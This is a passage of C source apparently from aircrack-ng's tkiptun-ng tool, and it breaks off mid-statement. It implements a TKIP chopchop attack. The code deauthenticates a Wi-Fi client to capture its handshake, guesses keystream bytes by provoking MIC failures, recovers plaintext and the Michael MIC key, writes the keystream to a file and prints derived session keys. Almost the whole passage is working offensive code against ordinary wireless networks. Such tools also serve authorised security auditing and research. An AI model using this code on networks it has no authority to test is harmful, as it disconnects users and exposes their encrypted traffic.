chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x06;
chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ 0x00;
chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ 0x01;
chopped[26 + 8 + 10] = srcbuf[26 + 8 + 10] ^ 0x08;
chopped[26 + 8 + 11] = srcbuf[26 + 8 + 11] ^ 0x00;
}
else
{
printf("Enabling standard workaround: "
" IP header re-creation.\n");
n = caplen - (z + 16);
chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ 0xAA;
chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ 0xAA;
chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03;
chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;
chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08;
chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x00;
chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ (n >> 8);
chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ (n & 0xFF);
memcpy(h80211, srcbuf, caplen);
for (i = 26 + 8; i < (int) caplen; i++)
h80211[i - 8] = h80211[i] ^ chopped[i];
/* sometimes the header length or the tos field vary */
for (i = 0; i < 16; i++)
{
h80211[26 + 8] = 0x40 + i;
chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ (0x40 + i);
for (j = 0; j < 256; j++)
{
h80211[26 + 9] = j;
chopped[26 + 13] = srcbuf[26 + 8 + 9] ^ j;
if (check_crc_buf(h80211 + 26, caplen - 26 - 8 - 4))
goto have_crc_match;
}
}
printf("This doesn't look like an IP packet, "
"try another one.\n");
}
have_crc_match:
break;
}
if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
{
/* send one modified frame */
ticks[2] = 0;
memcpy(h80211, chopped, data_end - 1);
/* note: guess 256 is special, it tests if the *
* AP properly drops frames with an invalid ICV *
* so this guess always has its bit 8 set to 0 */
if (is_deauth_mode) //-V547
{
opt.r_smac[1] |= (guess < 256);
opt.r_smac[5] = guess & 0xFF;
}
else
{
opt.r_dmac[1] |= (guess < 256);
opt.r_dmac[5] = guess & 0xFF;
}
if (guess < 256)
{
h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
}
errno = 0;
if (send_packet(_wi_out, h80211, (size_t) data_end - 1, kNoChange)
!= 0)
{
free(chopped);
return (1);
}
if (errno != EAGAIN)
{
guess++;
if (guess > 256)
guess = 0;
else
tries++;
settle = 0;
}
if (tries > 768 && data_end < srclen)
{
// go back one step and validate the last chopped byte
tries = 0;
data_end++;
guess = chopped[data_end - 1] ^ srcbuf[data_end - 1];
chopped[data_end - 1] ^= guess;
chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
ticks[3] = 0;
nb_pkt_sent = 0;
nb_bad_pkt = 0;
guess = 256;
PCT;
printf("\nMoved one step backwards to chop the last byte "
"again.\n");
continue;
}
}
/* watch for a response from the AP */
n = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
if (n < 0)
{
free(chopped);
return (1);
}
if (n == 0) continue;
//nb_pkt_read++;
/* check if it's a deauth packet */
if (h80211[0] == 0xA0 || h80211[0] == 0xC0)
{
if (memcmp(h80211 + 4, opt.r_smac, 6) == 0)
{
nb_bad_pkt++;
if (nb_bad_pkt > 2)
{
printf(
"\n\nFailure: got several deauthentication packets "
"from the AP - you need to start the whole process "
"all over again, as the client got disconnected.\n\n");
free(chopped);
return (1);
}
continue;
}
if (h80211[4] != opt.r_smac[0]) continue;
if (h80211[6] != opt.r_smac[2]) continue;
if (h80211[7] != opt.r_smac[3]) continue;
if (h80211[8] != opt.r_smac[4]) continue;
if (data_end < 41) goto header_rec; //-V547
printf("\n\nFailure: the access point does not properly "
"discard frames with an\ninvalid ICV - try running "
"aireplay-ng in authenticated mode (-h) instead.\n\n");
free(chopped);
return (1);
}
else
{
/* check if it's a WEP data packet */
if ((h80211[0] & 0x0C) != 8) continue; // must be a data packet
if ((h80211[0] & 0x70) != 0) continue;
// if( ( h80211[1] & 0x03 ) != 2 ) continue;
if ((h80211[1] & 0x40) == 0) continue;
/* get header length right */
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
/* check the extended IV (TKIP) flag */
if ((h80211[z + 3] & 0x20) == 0) continue;
/* check length (153)!? */
if (z + 127 != n)
continue; //(153[26+127] bytes for eapol mic failure in tkip qos
// frames from client to AP)
// direction must be inverted.
if (((h80211[1] & 3) ^ (srcbuf[1] & 3)) != 0x03) continue;
// check correct macs
switch (h80211[1] & 3)
{
case 1:
if (memcmp(bssid, h80211 + 4, 6) != 0
&& memcmp(dmac, h80211 + 10, 6) != 0
&& memcmp(bssid, h80211 + 16, 6) != 0)
continue;
break;
case 2:
if (memcmp(smac, h80211 + 4, 6) != 0
&& memcmp(bssid, h80211 + 10, 6) != 0
&& memcmp(bssid, h80211 + 16, 6) != 0)
continue;
break;
default:
continue;
break;
}
if (nb_pkt_sent < 1) continue;
}
/* we have a winner */
tries = 0;
settle = 0;
guess = (guess - 1) % 256;
chopped[data_end - 1] ^= guess;
chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
n = caplen - data_start;
printf("\r");
PCT;
printf("Offset %4d (%2d%% done) | xor = %02X | pt = %02X | "
"%4lu frames written in %5.0fms\n",
data_end - 1,
100 * (caplen - data_end) / n,
chopped[data_end - 1],
chopped[data_end - 1] ^ srcbuf[data_end - 1],
nb_pkt_sent,
ticks[3]);
if (is_deauth_mode) //-V547
{
opt.r_smac[1] = rand_u8() & 0x3E;
opt.r_smac[2] = rand_u8();
opt.r_smac[3] = rand_u8();
opt.r_smac[4] = rand_u8();
}
else
{
opt.r_dmac[1] = rand_u8() & 0xFE;
opt.r_dmac[2] = rand_u8();
opt.r_dmac[3] = rand_u8();
opt.r_dmac[4] = rand_u8();
}
ticks[3] = 0;
nb_pkt_sent = 0;
nb_bad_pkt = 0;
guess = 256;
data_end--;
gettimeofday(&lopt.last_mic_failure, NULL);
PCT;
printf("\rSleeping for %i seconds.", lopt.mic_failure_interval);
fflush(stdout);
if (guess_packet(srcbuf, chopped, caplen, caplen - data_end)
== 0) // found correct packet :)
break;
while (1)
{
gettimeofday(&mic_fail, NULL);
if ((mic_fail.tv_sec - lopt.last_mic_failure.tv_sec) * 1000000
+ (mic_fail.tv_usec - lopt.last_mic_failure.tv_usec)
> lopt.mic_failure_interval * 1000000)
break;
sleep(1);
}
alarm(0);
}
/* reveal the plaintext (chopped contains the prga) */
memcpy(h80211, srcbuf, caplen);
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ b1;
chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ b2;
chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03;
chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;
for (i = 26 + 8; i < (int) caplen; i++)
h80211[i - 8] = h80211[i] ^ chopped[i];
if (!check_crc_buf(h80211 + 26, caplen - 26 - 8 - 4))
{
if (!tried_header_rec)
{
printf("\nWarning: ICV checksum verification FAILED! Trying "
"workaround.\n");
tried_header_rec = 1;
goto header_rec;
}
else
{
printf("\nWorkaround couldn't fix ICV checksum.\nPacket is most "
"likely invalid/useless\nTry another one.\n");
}
}
caplen -= 8 + 4; /* remove the TKIP EXT IV & CRC (ICV) */
if (lopt.got_ptk)
{
PCT;
printf("Priority: %02X:%02X\n", h80211[z - 2], h80211[z - 1]);
calc_tkip_mic(h80211, caplen - 8, lopt.wpa_sta.ptk, mic);
if (memcmp(mic, h80211 + caplen - 8, 8) == 0)
{
PCT;
printf("Correct MIC!\n");
}
else
{
PCT;
printf("Incorrect MIC!\n");
}
PCT;
printf("Captured MIC: ");
for (i = 0; i < 7; i++) printf("%02X:", h80211[caplen - 8 + i]);
printf("%02X\n", h80211[caplen - 1]);
PCT;
printf("Calculated MIC: ");
for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
printf("%02X\n", mic[7]);
}
calc_tkip_mic_key(h80211, caplen, mic);
h80211[1] &= 0xBF; /* remove the WEP bit, too */
if ((h80211[1] & 3) == 1)
{
PCT;
printf("Reversed MIC Key (ToDS): ");
for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
printf("%02X\n", mic[7]);
memcpy(lopt.ptk + 48 + 8, mic, 8);
lopt.got_mic_tods = 1;
lopt.chopped_to_plain = (unsigned char *) malloc(caplen);
ALLEGE(lopt.chopped_to_plain != NULL);
memcpy(lopt.chopped_to_plain, h80211, caplen);
lopt.chopped_to_plain_len = caplen;
lopt.chopped_to_prga = (unsigned char *) malloc(caplen - 26 + 4 + 8);
ALLEGE(lopt.chopped_to_prga != NULL);
memcpy(lopt.chopped_to_prga, chopped + 26, caplen - 26 + 4 + 8);
lopt.chopped_to_prga_len = caplen - 26 + 4 + 8;
}
if ((h80211[1] & 3) == 2)
{
PCT;
printf("Reversed MIC Key (FromDS): ");
for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
printf("%02X\n", mic[7]);
memcpy(lopt.ptk + 48, mic, 8);
lopt.got_mic_fromds = 1;
lopt.chopped_from_plain = (unsigned char *) malloc(caplen);
ALLEGE(lopt.chopped_from_plain != NULL);
memcpy(lopt.chopped_from_plain, h80211, caplen);
lopt.chopped_from_plain_len = caplen;
lopt.chopped_from_prga = (unsigned char *) malloc(caplen - 26 + 4 + 8);
ALLEGE(lopt.chopped_from_prga != NULL);
memcpy(lopt.chopped_from_prga, chopped + 26, caplen - 26 + 4 + 8);
lopt.chopped_from_prga_len = caplen - 26 + 4 + 8;
}
/* save the decrypted packet */
gettimeofday(&tv, NULL);
pfh_out.magic = TCPDUMP_MAGIC;
pfh_out.version_major = PCAP_VERSION_MAJOR;
pfh_out.version_minor = PCAP_VERSION_MINOR;
pfh_out.thiszone = 0;
pfh_out.sigfigs = 0;
pfh_out.snaplen = 65535;
pfh_out.linktype = LINKTYPE_IEEE802_11;
pkh.tv_sec = tv.tv_sec;
pkh.tv_usec = tv.tv_usec;
pkh.caplen = caplen;
pkh.len = caplen;
lt = localtime((const time_t *) &tv.tv_sec);
memset(strbuf, 0, sizeof(strbuf));
snprintf(strbuf,
sizeof(strbuf) - 1,
"replay_dec-%02d%02d-%02d%02d%02d.cap",
lt->tm_mon + 1,
lt->tm_mday,
lt->tm_hour,
lt->tm_min,
lt->tm_sec);
printf("\nSaving plaintext in %s\n", strbuf);
if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
{
perror("fopen failed");
free(chopped);
return (1);
}
n = sizeof(struct pcap_file_header);
if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
{
perror("fwrite failed\n");
fclose(f_cap_out);
free(chopped);
return (1);
}
n = sizeof(pkh);
if (fwrite(&pkh, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
fclose(f_cap_out);
free(chopped);
return (1);
}
n = pkh.caplen;
if (fwrite(h80211, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
fclose(f_cap_out);
free(chopped);
return (1);
}
fclose(f_cap_out);
/* save the RC4 stream (xor mask) */
memset(strbuf, 0, sizeof(strbuf));
snprintf(strbuf,
sizeof(strbuf) - 1,
"replay_dec-%02d%02d-%02d%02d%02d.xor",
lt->tm_mon + 1,
lt->tm_mday,
lt->tm_hour,
lt->tm_min,
lt->tm_sec);
printf("Saving keystream in %s\n", strbuf);
if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
{
perror("fopen failed");
free(chopped);
return (1);
}
n = pkh.caplen - 26;
if (fwrite(chopped + 26 + 8, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
free(chopped);
return (1);
}
fclose(f_cap_out);
PCT;
printf("\nCompleted in %llds (%0.2f bytes/s)\n\n",
(long long) time(NULL) - tt,
(float) (pkh.caplen - 6 - 26) / (float) (time(NULL) - tt));
free(chopped);
return (0);
}
static int getHDSK(void)
{
int i;
int aacks, sacks, caplen;
struct timeval tv;
fd_set rfds;
/* deauthenticate the target */
memcpy(h80211, DEAUTH_REQ, 26);
memcpy(h80211 + 16, opt.r_bssid, 6);
aacks = 0;
sacks = 0;
for (i = 0; i < 4; i++)
{
if (i == 0)
{
PCT;
printf("Sending 4 directed DeAuth. STMAC:"
" [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
lopt.wpa.stmac[0],
lopt.wpa.stmac[1],
lopt.wpa.stmac[2],
lopt.wpa.stmac[3],
lopt.wpa.stmac[4],
lopt.wpa.stmac[5],
sacks,
aacks);
}
memcpy(h80211 + 4, lopt.wpa.stmac, 6);
memcpy(h80211 + 10, opt.r_bssid, 6);
if (send_packet(_wi_out, h80211, 26, kNoChange) < 0) return (1);
usleep(2000);
memcpy(h80211 + 4, opt.r_bssid, 6);
memcpy(h80211 + 10, lopt.wpa.stmac, 6);
if (send_packet(_wi_out, h80211, 26, kNoChange) < 0) return (1);
usleep(100000);
while (1)
{
FD_ZERO(&rfds);
FD_SET(dev.fd_in, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 1000;
if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
{
if (errno == EINTR) continue;
perror("select failed");
return (1);
}
if (!FD_ISSET(dev.fd_in, &rfds)) break;
caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
check_received(h80211, caplen);
if (caplen <= 0) break;
if (caplen != 10) continue;
if (h80211[0] == 0xD4)
{
if (memcmp(h80211 + 4, lopt.wpa.stmac, 6) == 0)
{
aacks++;
}
if (memcmp(h80211 + 4, opt.r_bssid, 6) == 0)
{
sacks++;
}
PCT;
printf("Sending 4 directed DeAuth. STMAC:"
" [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
lopt.wpa.stmac[0],
lopt.wpa.stmac[1],
lopt.wpa.stmac[2],
lopt.wpa.stmac[3],
lopt.wpa.stmac[4],
lopt.wpa.stmac[5],
sacks,
aacks);
}
}
}
printf("\n");
return (0);
}
int main(int argc, char * argv[])
{
int i, ret, got_hdsk;
unsigned int n;
char *s, buf[128];
int caplen = 0;
unsigned char packet1[4096];
unsigned char packet2[4096];
int packet1_len, packet2_len;
struct timeval mic_fail;
ac_crypto_init();
/* check the arguments */
memset(&opt, 0, sizeof(opt));
memset(&dev, 0, sizeof(dev));
opt.f_type = -1;
opt.f_subtype = -1;
opt.f_minlen = 80;
opt.f_maxlen = 80;
lopt.f_minlen_set = 0;
lopt.f_maxlen_set = 0;
opt.f_tods = -1;
opt.f_fromds = -1;
opt.f_iswep = -1;
opt.ringbuffer = 8;
opt.a_mode = -1;
opt.r_fctrl = -1;
opt.ghost = 0;
opt.npackets = -1;
opt.delay = 15;
opt.bittest = 0;
opt.fast = -1;
opt.r_smac_set = 0;
opt.nodetect = 0;
lopt.mic_failure_interval = DEFAULT_MIC_FAILURE_INTERVAL;
while (1)
{
int option_index = 0;
static const struct option long_options[] = {{"help", 0, 0, 'H'},
{"pmk", 1, 0, 'P'},
{"psk", 1, 0, 'p'},
{0, 0, 0, 0}};
int option = getopt_long(argc,
argv,
"d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:",
long_options,
&option_index);
if (option < 0) break;
switch (option)
{
case 0:
break;
case ':':
case '?':
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
case 'd':
if (getmac(optarg, 1, opt.f_dmac) != 0)
{
printf("Invalid destination MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 's':
if (getmac(optarg, 1, opt.f_smac) != 0)
{
printf("Invalid source MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'm':
ret = sscanf(optarg, "%d", &opt.f_minlen);
if (opt.f_minlen < 0 || ret != 1)
{
printf("Invalid minimum length filter. [>=0]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
lopt.f_minlen_set = 1;
break;
case 'n':
ret = sscanf(optarg, "%d", &opt.f_maxlen);
if (opt.f_maxlen < 0 || ret != 1)
{
printf("Invalid maximum length filter. [>=0]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
lopt.f_maxlen_set = 1;
break;
case 't':
ret = sscanf(optarg, "%d", &opt.f_tods);
if ((opt.f_tods != 0 && opt.f_tods != 1) || ret != 1)
{
printf("Invalid tods filter. [0,1]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'f':
ret = sscanf(optarg, "%d", &opt.f_fromds);
if ((opt.f_fromds != 0 && opt.f_fromds != 1) || ret != 1)
{
printf("Invalid fromds filter. [0,1]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'x':
ret = sscanf(optarg, "%d", &opt.r_nbpps);
if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
{
printf("Invalid number of packets per second. [1-1024]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'a':
if (getmac(optarg, 1, opt.r_bssid) != 0)
{
printf("Invalid AP MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
if (getmac(optarg, 1, opt.f_bssid) != 0)
{
printf("Invalid AP MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'c':
if (getmac(optarg, 1, opt.r_dmac) != 0)
{
printf("Invalid destination MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'h':
if (getmac(optarg, 1, opt.r_smac) != 0)
{
printf("Invalid source MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
if (getmac(optarg, 1, lopt.wpa.stmac) != 0)
{
printf("Invalid source MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.r_smac_set = 1;
break;
case 'e':
memset(opt.r_essid, 0, sizeof(opt.r_essid));
strncpy(opt.r_essid, optarg, sizeof(opt.r_essid) - 1);
break;
case 'j':
opt.r_fromdsinj = 1;
break;
case 'D':
opt.nodetect = 1;
break;
case 'y':
if (opt.prga != NULL)
{
printf("PRGA file already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
if (read_prga(&(opt.prga), optarg) != 0)
{
return (1);
}
break;
case 'i':
if (opt.s_face != NULL || opt.s_file)
{
printf("Packet source already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.s_face = optarg;
opt.port_in
= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
break;
case 'r':
if (opt.s_face != NULL || opt.s_file)
{
printf("Packet source already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.s_file = optarg;
break;
case 'Z':
opt.fast = 0;
break;
case 'H':
printf(usage,
getVersion("Tkiptun-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
return (1);
case 'K':
i = 0;
n = 0;
s = optarg;
while (s[i] != '\0')
{
if (s[i] == '-' || s[i] == ':' || s[i] == ' ')
i++;
else
s[n++] = s[i++];
}
s[n] = '\0';
buf[0] = s[0];
buf[1] = s[1];
buf[2] = '\0';
i = 0;
while (sscanf(buf, "%x", &n) == 1)
{
if (n > 255)
{
printf("Invalid keystream.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
lopt.oldkeystream[lopt.oldkeystreamlen] = n;
lopt.oldkeystreamlen++;
s += 2;
buf[0] = s[0];
buf[1] = s[1];
}
break;
case 'P':
memset(lopt.pmk, 0, sizeof(lopt.pmk));
i = hexStringToArray(optarg, strlen(optarg), lopt.pmk, 128);
if (i == -1)
{
printf("Invalid value. It requires 128 bytes of PMK in "
"hexadecimal.\n");
return (1);
}
lopt.got_pmk = 1;
break;
case 'p':
memset(lopt.psk, 0, sizeof(lopt.psk));
if (strlen(optarg) < 8 || strlen(optarg) > 63) //-V804
{
printf("PSK with invalid length specified [8-64].\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
strncpy(lopt.psk, optarg, sizeof(lopt.psk) - 1);
lopt.got_psk = 1;
break;
case 'M':
ret = sscanf(optarg, "%d", &lopt.mic_failure_interval);
if (ret != 1 || lopt.mic_failure_interval < 0)
{
printf("Invalid MIC error timeout. [>=0]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
default:
goto usage;
}
}
if (argc - optind != 1)
{
if (argc == 1)
{
usage:
printf(
usage,
getVersion(
"Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
}
if (argc - optind == 0)
{
printf("No replay interface specified.\n");
}
if (argc > 1)
{
printf("\"%s --help\" for help.\n", argv[0]);
}
return (1);
}
if (!opt.r_smac_set)
{
printf("A Client MAC must be specified (-h).\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
if ((opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen)
{
printf("Invalid length filter (min(-m):%d > max(-n):%d).\n",
opt.f_minlen,
opt.f_maxlen);
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
if (opt.f_tods == 1 && opt.f_fromds == 1)
{
printf("FromDS and ToDS bit are set: packet has to come from the AP "
"and go to the AP\n");
}
dev.fd_rtc = -1;
/* open the RTC device if necessary */
#if defined(__i386__)
#if defined(linux)
if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
{
dev.fd_rtc = 0;
}
if ((dev.fd_rtc == 0) && ((dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0))
{
dev.fd_rtc = 0;
}
if (dev.fd_rtc > 0)
{
if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
{
perror("ioctl(RTC_IRQP_SET) failed");
printf("Make sure enhanced rtc device support is enabled in the "
"kernel (module\n"
"rtc, not genrtc) - also try 'echo 1024 "
">/proc/sys/dev/rtc/max-user-freq'.\n");
close(dev.fd_rtc);
dev.fd_rtc = -1;
}
else
{
if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
{
perror("ioctl(RTC_PIE_ON) failed");
close(dev.fd_rtc);
dev.fd_rtc = -1;
}
}
}
else
{
printf("For information, no action required:"
" Using gettimeofday() instead of /dev/rtc\n");
dev.fd_rtc = -1;
}
#endif /* linux */
#endif /* i386 */
opt.iface_out = argv[optind];
opt.port_out
= get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
// don't open interface(s) when using test mode and airserv
if (!(opt.a_mode == 9 && opt.port_out >= 0))
{
/* open the replay interface */
_wi_out = wi_open(opt.iface_out);
if (!_wi_out) return (1);
dev.fd_out = wi_fd(_wi_out);
/* open the packet source */
if (opt.s_face != NULL)
{
// don't open interface(s) when using test mode and airserv
if (!(opt.a_mode == 9 && opt.port_in >= 0))
{
_wi_in = wi_open(opt.s_face);
if (!_wi_in) return (1);
dev.fd_in = wi_fd(_wi_in);
wi_get_mac(_wi_in, dev.mac_in);
}
}
else
{
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
/* XXX */
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
}
wi_get_mac(_wi_out, dev.mac_out);
}
/* drop privileges */
if (setuid(getuid()) == -1)
{
perror("setuid");
}
/* XXX */
if (opt.r_nbpps == 0)
{
opt.r_nbpps = 10;
}
if (opt.s_file != NULL)
{
if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
{
perror("open failed");
return (1);
}
n = sizeof(struct pcap_file_header);
if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
{
perror("fread(pcap file header) failed");
return (1);
}
if (dev.pfh_in.magic != TCPDUMP_MAGIC
&& dev.pfh_in.magic != TCPDUMP_CIGAM)
{
fprintf(stderr,
"\"%s\" isn't a pcap file (expected "
"TCPDUMP_MAGIC).\n",
opt.s_file);
return (1);
}
if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
{
fprintf(stderr,
"Wrong linktype from pcap file header "
"(expected LINKTYPE_IEEE802_11) -\n"
"this doesn't look like a regular 802.11 "
"capture.\n");
return (1);
}
}
// if there is no -h given, use default hardware mac
if (maccmp(opt.r_smac, NULL_MAC) == 0)
{
memcpy(opt.r_smac, dev.mac_out, 6);
if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
{
printf("No source MAC (-h) specified. Using the device MAC "
"(%02X:%02X:%02X:%02X:%02X:%02X)\n",
dev.mac_out[0],
dev.mac_out[1],
dev.mac_out[2],
dev.mac_out[3],
dev.mac_out[4],
dev.mac_out[5]);
}
}
if (maccmp(opt.r_smac, dev.mac_out) != 0
&& maccmp(opt.r_smac, NULL_MAC) != 0)
{
fprintf(stderr,
"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
" doesn't match the specified MAC (-h).\n"
"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
dev.mac_out[0],
dev.mac_out[1],
dev.mac_out[2],
dev.mac_out[3],
dev.mac_out[4],
dev.mac_out[5],
opt.iface_out,
opt.r_smac[0],
opt.r_smac[1],
opt.r_smac[2],
opt.r_smac[3],
opt.r_smac[4],
opt.r_smac[5]);
}
/* DO MICHAEL TEST */
memset(buf, 0, 128);
buf[0] = 'M';
i = michael_test((unsigned char *) "\x82\x92\x5c\x1c\xa1\xd1\x30\xb8",
(unsigned char *) buf,
strlen(buf),
(unsigned char *) "\x43\x47\x21\xca\x40\x63\x9b\x3f");
PCT;
printf("Michael Test: %s\n", i ? "Successful" : "Failed");
/* END MICHAEL TEST*/
if (getnet(_wi_in,
NULL,
0,
0,
opt.f_bssid,
opt.r_bssid,
(uint8_t *) opt.r_essid,
0 /* ignore_negative_one */,
opt.nodetect)
!= 0)
return (EXIT_FAILURE);
PCT;
printf("Found specified AP\n");
got_hdsk = 0;
while (1)
{
getHDSK();
for (i = 0; i < 10; i++)
{
read_sleep(dev.fd_in, 500000, my_read_sleep_cb);
if (lopt.wpa.state == 7)
{
got_hdsk = 1;
break;
}
}
if (got_hdsk) break;
}
if (!lopt.got_pmk && lopt.got_psk && strlen(opt.r_essid) > 1)
{
calc_pmk((uint8_t *) lopt.psk, (uint8_t *) opt.r_essid, lopt.pmk);
PCT;
printf("PSK: %s\n", lopt.psk);
PCT;
printf("PMK: ");
for (i = 0; i < 31; i++) printf("%02X:", lopt.pmk[i]);
printf("%02X\n", lopt.pmk[31]);
lopt.got_pmk = 1;
}
if (lopt.got_pmk)
{
lopt.wpa_sta.next = NULL;
memcpy(lopt.wpa_sta.stmac, opt.r_smac, 6);
memcpy(lopt.wpa_sta.bssid, opt.f_bssid, 6);
memcpy(lopt.wpa_sta.snonce, lopt.wpa.snonce, 32);
memcpy(lopt.wpa_sta.anonce, lopt.wpa.anonce, 32);
memset(lopt.wpa_sta.keymic, 0, sizeof(lopt.wpa_sta.keymic));
memcpy(lopt.wpa_sta.keymic, lopt.wpa.keymic, sizeof(lopt.wpa.keymic));
memcpy(lopt.wpa_sta.eapol, lopt.wpa.eapol, 256);
lopt.wpa_sta.eapol_size = lopt.wpa.eapol_size;
lopt.wpa_sta.keyver = lopt.wpa.keyver;
lopt.wpa_sta.valid_ptk = calc_ptk(&lopt.wpa_sta, lopt.pmk);
PCT;
printf("PTK: ");
for (i = 0; i < 79; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
printf("%02X\n", lopt.wpa_sta.ptk[79]);
PCT;
printf("Valid PTK: %s\n", (lopt.wpa_sta.valid_ptk) ? "Yes" : "No!");
if (lopt.wpa_sta.valid_ptk) lopt.got_ptk = 1;
PCT;
printf("KCK: ");
for (i = 0; i < 15; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
printf("%02X\n", lopt.wpa_sta.ptk[15]);
PCT;
printf("KEK: ");
for (i = 16; i < 31; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
printf("%02X\n", lopt.wpa_sta.ptk[31]);
PCT;
printf("Temporal Encryption Key (TK1): ");
for (i = 32; i < 47; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
printf("%02X\n", lopt.wpa_sta.ptk[47]);
PCT;
printf("Michael Key (FromDS): ");
for (i = 48; i < 55; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
printf("%02X\n", lopt.wpa_sta.ptk[55]);
PCT;
printf("Michael Key (ToDS): ");
